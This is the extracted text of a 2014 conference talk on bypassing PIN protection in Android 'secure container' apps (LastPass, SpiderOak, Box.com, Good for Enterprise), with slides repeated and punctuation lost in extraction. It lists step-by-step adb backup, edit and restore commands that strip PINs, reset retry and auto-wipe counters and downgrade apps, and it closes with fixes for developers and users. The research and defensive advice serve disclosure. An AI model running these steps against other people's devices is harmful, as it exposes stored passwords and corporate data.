Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 32: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

